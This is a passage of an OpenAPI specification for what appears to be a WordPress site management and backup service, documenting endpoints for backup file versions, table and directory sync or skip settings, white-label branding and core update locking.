a file path.\n\nUse this after listing files when you need to choose a version to\ndownload.\n\nSend exactly one of `id` or `path`. The `id` value is the file ID\nreturned by the file list.\n\nA successful response returns file version IDs with modification times\nand sizes.\n", "parameters": [ { "name": "id", "in": "query", "required": false, "schema": { "type": "string" }, "description": "File ID returned by the file list.", "example": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==" }, { "name": "path", "in": "query", "required": false, "schema": { "type": "string" }, "description": "File path relative to the snapshot root.", "example": "./index.php" } ], "responses": { "200": { "description": "File versions were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteFileVersionsResponse" }, "example": { "versions": [ { "id": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==", "modified_at": "2026-01-09T09:06:43Z", "size": 405 }, { "id": "MTc2NzgwMDAwMF8zOTBfTGk5cGJtUmxlQzV3YUhBPQ==", "modified_at": "2026-01-07T10:13:20Z", "size": 390 } ] } } } }, "400": { "$ref": "#/components/responses/ListSiteFileVersionsBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/files/stats": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Files" ], "summary": "Show file stats", "operationId": "showSiteFileStats", "description": "Returns file, folder, and byte stats for one completed backup snapshot.\n\nUse this to compare the backup content included in future backups with\nthe content that is skipped.\n\nIf `snapshot_id` is omitted, the latest completed backup snapshot is\nused. When `path` is sent, totals are calculated recursively\nunder that path.\n\nA successful response returns `files`, `folders`, and `size` stats,\neach split into `total`, `synced`, and `skipped`.\n", "parameters": [ { "name": "snapshot_id", "in": "query", "required": false, "schema": { "type": "string" }, "description": "Snapshot ID. When omitted, the latest completed backup snapshot is used.", "example": "987654" }, { "name": "path", "in": "query", "required": false, "schema": { "type": "string" }, "description": "Directory path scope. When sent, totals are calculated recursively under this path.", "example": "./wp-content/" } ], "responses": { "200": { "description": "File stats were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSiteFileStatsResponse" }, "example": { "stats": { "files": { "total": 3692, "synced": 3600, "skipped": 92 }, "folders": { "total": 128, "synced": 120, "skipped": 8 }, "size": { "total": 52428800, "synced": 51380224, "skipped": 1048576 } } } } } }, "400": { "$ref": "#/components/responses/SiteFileSnapshotBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SnapshotNotReadyResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/files/download": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Files" ], "summary": "Download file version", "operationId": "downloadSiteFile", "description": "Downloads a backed-up file version as a binary attachment.\n\nUse this after listing files or versions when you need the file\ncontents.\n\nIdentify the version with either `id` or the full `path`, `modified_at`,\nand `size` tuple. Do not send `id` with any tuple field in the same\nrequest.\n\nA successful response returns a binary file attachment.\n", "parameters": [ { "name": "id", "in": "query", "required": false, "schema": { "type": "string" }, "description": "File ID returned by the file list or file versions.", "example": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==" }, { "name": "path", "in": "query", "required": false, "schema": { "type": "string" }, "description": "File path to download. Must be sent with `modified_at` and `size` when `id` is not sent.", "example": "./index.php" }, { "name": "modified_at", "in": "query", "required": false, "schema": { "type": "string", "format": "date-time" }, "description": "File modification time for exact version download.", "example": "2026-01-09T09:06:43Z" }, { "name": "size", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 0 }, "description": "File size in bytes for exact version download.", "example": 405 } ], "responses": { "200": { "description": "Binary file attachment.", "headers": { "Content-Disposition": { "schema": { "type": "string" }, "description": "Attachment disposition with the downloaded filename.", "example": "attachment; filename=\"index.php\"" } }, "content": { "application/octet-stream": { "schema": { "type": "string", "format": "binary" } } } }, "400": { "$ref": "#/components/responses/DownloadSiteFileBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/DownloadSiteFileNotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/files/sync": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Files" ], "summary": "Mark directories for sync", "operationId": "syncSiteFiles", "description": "Marks one or more directory paths for inclusion in future backups.\n\nUse this when a previously skipped directory should be backed up again.\n\nSubmitted paths are checked against the latest completed backup\nsnapshot file tree. Duplicate paths are processed once. WordPress\ninstallation paths cannot be marked for sync.\n\nPartial success is possible when some paths are marked for sync and\nothers fail validation. Failed paths are returned inside `sync.errors`.\n\nA successful response returns directory paths marked for sync, failed\npaths, and counts.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SyncSiteFilesRequest" }, "example": { "paths": [ "./wp-content/uploads/", "./wp-content/themes/custom-theme/" ] } } } }, "responses": { "200": { "description": "Directory sync request was processed, with failed paths returned in `sync.errors`.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SyncSiteFilesResponse" }, "examples": { "success": { "value": { "sync": { "paths": [ "./wp-content/uploads/", "./wp-content/themes/custom-theme/" ], "errors": [] }, "meta": { "requested": 2, "succeeded": 2, "failed": 0 } } }, "partial_success": { "value": { "sync": { "paths": [ "./wp-content/uploads/" ], "errors": [ { "path": "./missing-folder/", "code": "path_not_found", "message": "Path not found in snapshot" }, { "path": "./wp-content/uploads/image.jpg", "code": "path_not_directory", "message": "Path must be a directory" }, { "path": "./wp-admin/", "code": "wordpress_path_not_allowed", "message": "WordPress installation paths cannot be marked for sync" } ] }, "meta": { "requested": 4, "succeeded": 1, "failed": 3 } } } } } } }, "400": { "$ref": "#/components/responses/InvalidDirectoryPathsResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/PathValidationSnapshotNotReadyResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/files/skip": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Files" ], "summary": "Mark directories to skip", "operationId": "skipSiteFiles", "description": "Marks one or more directory paths to exclude from future backups.\n\nUse this when cache, temporary, or otherwise unnecessary directories\nshould stop being backed up.\n\nSubmitted paths are checked against the latest completed backup\nsnapshot file tree. Duplicate paths are processed once. WordPress\ninstallation paths can be marked to skip when they are valid\ndirectories.\n\nPartial success is possible when some paths are marked to skip and\nothers fail validation. Failed paths are returned inside `skip.errors`.\n\nA successful response returns directory paths marked to skip, failed\npaths, and counts.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SkipSiteFilesRequest" }, "example": { "paths": [ "./wp-content/cache/", "./wp-content/uploads/tmp/" ] } } } }, "responses": { "200": { "description": "Directory skip request was processed, with failed paths returned in `skip.errors`.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SkipSiteFilesResponse" }, "examples": { "success": { "value": { "skip": { "paths": [ "./wp-content/cache/", "./wp-content/uploads/tmp/" ], "errors": [] }, "meta": { "requested": 2, "succeeded": 2, "failed": 0 } } }, "partial_success": { "value": { "skip": { "paths": [ "./wp-content/cache/" ], "errors": [ { "path": "./missing-folder/", "code": "path_not_found", "message": "Path not found in snapshot" }, { "path": "./wp-content/uploads/image.jpg", "code": "path_not_directory", "message": "Path must be a directory" } ] }, "meta": { "requested": 3, "succeeded": 1, "failed": 2 } } } } } } }, "400": { "$ref": "#/components/responses/InvalidDirectoryPathsResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/PathValidationSnapshotNotReadyResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/tables": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Tables" ], "summary": "List site tables", "operationId": "listSiteTables", "description": "Returns database tables from one completed backup snapshot.\n\nUse this list to review each table's name, row count, data size,\ncreation time, and whether it is included in future backups.\n\nIf `snapshot_id` is omitted, the latest completed backup snapshot is\nused.\n\nA successful response returns a paginated list of database tables.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `name`, `rows`, `size`, `status`\n- Supported operators:\n - `contains`: `name`\n - `gte`: `rows`, `size`\n - `lte`: `rows`, `size`\n - `eq`: `status`\n- Supported status values for matching: `synced`, `skipped`\n- `name:contains` matches table names case-insensitively\n- Row and size filter values must be non-negative integers\n- Example: `filters[name:contains]=wp_`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `name`, `rows`, `size`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `name,asc`\n- Example: `sort=size,desc`\n", "parameters": [ { "name": "snapshot_id", "in": "query", "required": false, "schema": { "type": "string" }, "description": "Snapshot ID. When omitted, the latest completed backup snapshot is used.", "example": "987654" }, { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSiteTablesSort" }, "description": "Sort order for returned database tables.", "example": "size,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListSiteTablesFilters" }, "description": "Filters applied to returned database tables.", "example": { "name:contains": "wp_", "rows:gte": 100, "size:lte": 10485760, "status:eq": "synced" } } ], "responses": { "200": { "description": "Database tables were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSiteTablesResponse" }, "example": { "tables": [ { "name": "wp_options", "rows": 100, "size": 4096, "created_at": "2026-01-09T09:06:43Z", "status": "synced" }, { "name": "wp_posts", "rows": 50, "size": 8192, "created_at": "2026-01-09T09:06:43Z", "status": "skipped" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/ListSiteTablesBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SnapshotNotReadyResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/tables/stats": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Tables" ], "summary": "Show table stats", "operationId": "showSiteTableStats", "description": "Returns database table stats for one completed backup snapshot.\n\nUse this to compare the tables included in future backups with the\ntables that are skipped.\n\nIf `snapshot_id` is omitted, the latest completed backup snapshot is\nused.\n\nA successful response returns `tables` stats split into `total`,\n`synced`, and `skipped`.\n", "parameters": [ { "name": "snapshot_id", "in": "query", "required": false, "schema": { "type": "string" }, "description": "Snapshot ID. When omitted, the latest completed backup snapshot is used.", "example": "987654" } ], "responses": { "200": { "description": "Table stats were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSiteTableStatsResponse" }, "example": { "stats": { "tables": { "total": 42, "synced": 30, "skipped": 12 } } } } } }, "400": { "$ref": "#/components/responses/SiteTableSnapshotBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SnapshotNotReadyResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/tables/sync": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Tables" ], "summary": "Mark tables for sync", "operationId": "syncSiteTables", "description": "Marks one or more database table names for inclusion in future backups.\n\nUse this when a previously skipped table should be backed up again.\n\nSubmitted table names are checked against the latest completed backup\nsnapshot. Duplicate names are processed once after leading and trailing\nwhitespace is ignored.\n\nPartial success is possible when some table names are marked for sync\nand others fail validation. Failed table names are returned inside\n`sync.errors`.\n\nA successful response returns table names marked for sync, failed table\nnames, and counts.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SyncSiteTablesRequest" }, "example": { "tables": [ "wp_posts", "wp_options" ] } } } }, "responses": { "200": { "description": "Table sync request was processed, with failed table names returned in `sync.errors`.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SyncSiteTablesResponse" }, "examples": { "success": { "value": { "sync": { "tables": [ "wp_posts", "wp_options" ], "errors": [] }, "meta": { "requested": 2, "succeeded": 2, "failed": 0 } } }, "partial_success": { "value": { "sync": { "tables": [ "wp_posts" ], "errors": [ { "table": "wp_missing", "code": "table_not_found", "message": "Table not found in snapshot" } ] }, "meta": { "requested": 2, "succeeded": 1, "failed": 1 } } } } } } }, "400": { "$ref": "#/components/responses/InvalidTablesRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/TableValidationSnapshotNotReadyResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/tables/skip": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Tables" ], "summary": "Mark tables to skip", "operationId": "skipSiteTables", "description": "Marks one or more database table names to exclude from future backups.\n\nUse this when cache, temporary, or otherwise unnecessary tables should\nstop being backed up.\n\nSubmitted table names are checked against the latest completed backup\nsnapshot. Duplicate names are processed once after leading and trailing\nwhitespace is ignored.\n\nPartial success is possible when some table names are marked to skip\nand others fail validation. Failed table names are returned inside\n`skip.errors`.\n\nA successful response returns table names marked to skip, failed table\nnames, and counts.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SkipSiteTablesRequest" }, "example": { "tables": [ "wp_cache", "wp_temp_logs" ] } } } }, "responses": { "200": { "description": "Table skip request was processed, with failed table names returned in `skip.errors`.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SkipSiteTablesResponse" }, "examples": { "success": { "value": { "skip": { "tables": [ "wp_cache", "wp_temp_logs" ], "errors": [] }, "meta": { "requested": 2, "succeeded": 2, "failed": 0 } } }, "partial_success": { "value": { "skip": { "tables": [ "wp_cache" ], "errors": [ { "table": "wp_missing", "code": "table_not_found", "message": "Table not found in snapshot" } ] }, "meta": { "requested": 2, "succeeded": 1, "failed": 1 } } } } } } }, "400": { "$ref": "#/components/responses/InvalidTablesRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/TableValidationSnapshotNotReadyResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/settings": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Site Settings" ], "summary": "Show site settings", "operationId": "showSiteSettings", "description": "Returns site settings for the selected site.\n\nUse this to check whether WordPress auto-updates and WooCommerce\ndatabase upgrades are currently enabled for the site.\n\nA successful response returns both settings.\n", "responses": { "200": { "description": "Site settings returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSiteSettingsResponse" }, "example": { "settings": { "wp_auto_updates": { "enabled": true }, "woocommerce_db_upgrade": { "enabled": true } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/settings/update": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Site Settings" ], "summary": "Update site settings", "operationId": "updateSiteSettings", "description": "Updates one or both site settings for the selected site: WordPress\nauto-updates and WooCommerce database upgrades.\n\nUse this when either setting needs to change for a site.\n\nA successful response returns both settings after the update.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSiteSettingsRequest" }, "example": { "settings": { "wp_auto_updates": { "enabled": false }, "woocommerce_db_upgrade": { "enabled": true } } } } } }, "responses": { "200": { "description": "Site settings updated successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowSiteSettingsResponse" }, "example": { "settings": { "wp_auto_updates": { "enabled": false }, "woocommerce_db_upgrade": { "enabled": true } } } } } }, "400": { "$ref": "#/components/responses/UpdateSiteSettingsBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/whitelabel/plugin-branding": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Site Plugin Branding" ], "summary": "Show site plugin branding", "operationId": "showSitePluginBranding", "description": "Returns how your account's plugin is displayed in WordPress admin for\nthe selected site.\n\nUse this to review whether the site uses default plugin details,\ninherits account branding, hides the plugin, or shows a custom displayed\nname, description, and author details.\n\nWhen `type` is `same_as_account`, the site inherits account-level plugin\nbranding and the response includes the final inherited details. If the\ninherited account branding hides the plugin, `name`, `description`,\n`author.name`, and `author.url` are `null` while `type` remains\n`same_as_account`.\n\nA successful response returns the site plugin branding.\n", "responses": { "200": { "$ref": "#/components/responses/SitePluginBrandingOkResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/whitelabel/plugin-branding/update": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Site Plugin Branding" ], "summary": "Update site plugin branding", "operationId": "updateSitePluginBranding", "description": "Updates how your account's plugin is displayed in WordPress admin for\nthe selected site.\n\nUse this when the site should use default plugin details, inherit\naccount branding, hide the plugin, or show a custom displayed name,\ndescription, and author details.\n\nThe site's plan must support Plugin Branding.\n\nA successful response returns the site plugin branding after the update.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSitePluginBrandingRequest" }, "examples": { "default": { "summary": "Use default plugin details", "value": { "plugin_branding": { "type": "default" } } }, "same_as_account": { "summary": "Inherit account branding", "value": { "plugin_branding": { "type": "same_as_account" } } }, "custom": { "summary": "Set custom plugin details", "value": { "plugin_branding": { "type": "custom", "name": "Site Guardian", "description": "Managed WordPress security and backup", "author": { "name": "Acme Agency", "url": "https://example.com" } } } }, "hidden": { "summary": "Hide the plugin", "value": { "plugin_branding": { "type": "hidden" } } } } } } }, "responses": { "200": { "$ref": "#/components/responses/SitePluginBrandingUpdatedResponse" }, "400": { "$ref": "#/components/responses/SitePluginBrandingValidationResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SitePluginBrandingPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/whitelabel/wp-login": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "get": { "tags": [ "Site WP Login Branding" ], "summary": "Show site WordPress login branding", "operationId": "showSiteWpLogin", "description": "Returns how the WordPress login screen is displayed for the selected\nsite.\n\nUse this to review whether the site uses the standard WordPress login\nscreen, inherits account-level WP Login Branding, or uses its own login\nbranding.\n\n`type: default` means the standard WordPress login screen is active.\n`type: same_as_account` means the response includes the final inherited\nvalues from account-level WP Login Branding.\n\nA successful response returns the site WP Login branding.\n", "responses": { "200": { "$ref": "#/components/responses/SiteWpLoginOkResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/whitelabel/wp-login/update": { "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details." } ], "post": { "tags": [ "Site WP Login Branding" ], "summary": "Update site WordPress login branding", "operationId": "updateSiteWpLogin", "description": "Updates how the WordPress login screen is displayed for the selected\nsite.\n\nUse this when the site should use the standard WordPress login screen,\ninherit account-level WP Login Branding, or use its own login logo,\npage label, error message, help text, and sender email.\n\nCustom updates replace the saved site-specific login branding.\n\nThe site's plan must support WP Login Branding, the site must be the\nprimary site, and the site plugin version must be 1.4 or higher.\n\nA successful response returns the site WP Login branding after the\nupdate.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSiteWpLoginRequest" }, "examples": { "default": { "summary": "Use standard WordPress login behavior", "value": { "wp_login": { "type": "default" } } }, "same_as_account": { "summary": "Inherit account WP Login", "value": { "wp_login": { "type": "same_as_account" } } }, "custom": { "summary": "Set custom site WP Login", "value": { "wp_login": { "type": "custom", "logo_file": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...", "label": "Site Login", "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact site support.", "sender_email": { "id": "vL5mN8xR3pK7wJ1qT9hY2bFg" } } } }, "standard_sender": { "summary": "Use the standard sender", "value": { "wp_login": { "type": "custom", "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact site support.", "sender_email": null } } } } } } }, "responses": { "200": { "$ref": "#/components/responses/SiteWpLoginUpdatedResponse" }, "400": { "$ref": "#/components/responses/SiteWpLoginValidationResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SiteWpLoginBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/wordpress-core": { "get": { "tags": [ "WordPress Core" ], "summary": "List WordPress core status", "operationId": "listSitesWpCore", "description": "Returns WordPress core status for sites available to you. Each site\nincludes the installed version, latest available version, update\navailability, and whether core updates are locked.\n\nUse this list to review core update readiness or find site IDs for lock\nand unlock requests.\n\nIf `site_ids` is omitted, all sites available to you are included.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `update_available`, `locked`\n- Supported operators:\n - `eq`: `update_available`, `locked`\n- Boolean filters accept `true` or `false`\n- Example: `filters[update_available:eq]=true`\n\nA successful response returns a paginated list of WordPress core status\nby site.\n", "parameters": [ { "name": "site_ids", "in": "query", "required": false, "style": "form", "explode": true, "schema": { "$ref": "#/components/schemas/SiteIdsQuery" }, "description": "Site IDs to include. Omit this parameter to include all sites available to you.", "example": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] }, { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "include_vulnerabilities", "in": "query", "required": false, "schema": { "type": "boolean", "default": false }, "description": "Set to `true` to include optional vulnerability details for supported site plans.", "example": true }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SitesWpCoreFilters" }, "description": "Filters applied to returned WordPress core status entries.", "example": { "update_available:eq": true } } ], "responses": { "200": { "description": "WordPress core status was returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSitesWpCoreResponse" }, "examples": { "default_response": { "summary": "Default response", "value": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "core": { "current_version": "6.4.2", "latest_version": "6.4.3", "update_available": true, "locked": false } } }, { "id": "0f3a1c7b2d4e6f8091a2b3c4d5e6f708", "last_sync_at": "2026-01-12T09:15:00Z", "wp": { "core": { "current_version": "6.4.3", "latest_version": "6.4.3", "update_available": false, "locked": true } } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "with_vulnerabilities": { "summary": "Response with vulnerability details", "value": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "core": { "current_version": "6.4.2", "latest_version": "6.4.3", "update_available": true, "locked": false, "security": { "vulnerable": true, "vulnerabilities": [ { "vulnerability_id": "8bd93f52", "title": "Core privilege escalation", "cve_id": "CVE-2026-33333", "ghsa_id": "GHSA-core-3333-priv", "cvss_rating": "critical", "cvss_score": 9.8, "patched_version": "6.4.3", "published_at": "2026-06-22T00:00:00Z", "virtual_patch": { "available": true, "mode": "inherit", "state": "live", "live_at": "2026-06-24T00:00:00Z", "applied": true, "applied_at": "2026-06-24T10:20:00Z" } } ] } } } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 1 } } } } } } } }, "400": { "$ref": "#/components/responses/SitesWpCoreInvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpCoreSiteIdsUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/wordpress-core/lock": { "post": { "tags": [ "WordPress Core" ], "summary": "Lock WordPress core updates", "operationId": "lockSitesWpCore", "description": "Locks WordPress core updates for submitted sites.\n\nUse this when selected sites should not receive WordPress core updates.\n\nSubmitted sites must be available to you.\n\nA successful response returns the site IDs where core updates were\nlocked.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/LockSitesWpCoreRequest" }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } ] } } } }, "responses": { "200": { "description": "WordPress core updates were locked for the submitted sites.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/LockSitesWpCoreResponse" }, "example": { "lock": { "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } } } }, "400": { "$ref": "#/components/responses/SitesWpCoreSitesBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpCoreSitesUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/wordpress-core/unlock": { "post": { "tags": [ "WordPress Core" ], "summary": "Unlock WordPress core updates", "operationId": "unlockSitesWpCore", "description": "Removes the WordPress core update lock from submitted sites.\n\nUse this when selected sites should be eligible for WordPress core\nupdates again.\n\nSubmitted sites must be available to you.\n\nA successful response returns the site IDs where core updates were\nunlocked.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UnlockSitesWpCoreRequest" }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } ] } } } }, "responses": { "200": { "description": "WordPress core updates were unlocked for the submitted sites.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UnlockSitesWpCoreResponse" }, "example": { "unlock": { "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } } } }, "400": { "$ref": "#/components/responses/SitesWpCoreSitesBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpCoreSitesUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/plugins": { "get": { "tags": [ "WordPress Plugins" ], "summary": "List WordPress plugins", 